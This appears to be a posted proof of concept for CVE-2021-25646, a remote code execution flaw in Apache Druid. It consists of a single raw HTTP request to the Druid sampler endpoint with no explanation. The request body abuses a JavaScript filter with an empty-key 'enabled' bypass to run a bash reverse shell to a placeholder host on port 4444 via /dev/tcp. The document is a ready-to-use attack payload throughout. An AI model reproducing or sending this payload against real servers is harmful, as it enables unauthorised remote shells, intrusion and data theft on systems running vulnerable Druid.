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Created February 2, 2021 15:21
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CVE-2021-25646 Apache Druid RCE POC
POST /druid/indexer/v1/sampler HTTP/1.1
Host: x.x.x.x:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1045
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/x.x.x.x/4444 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
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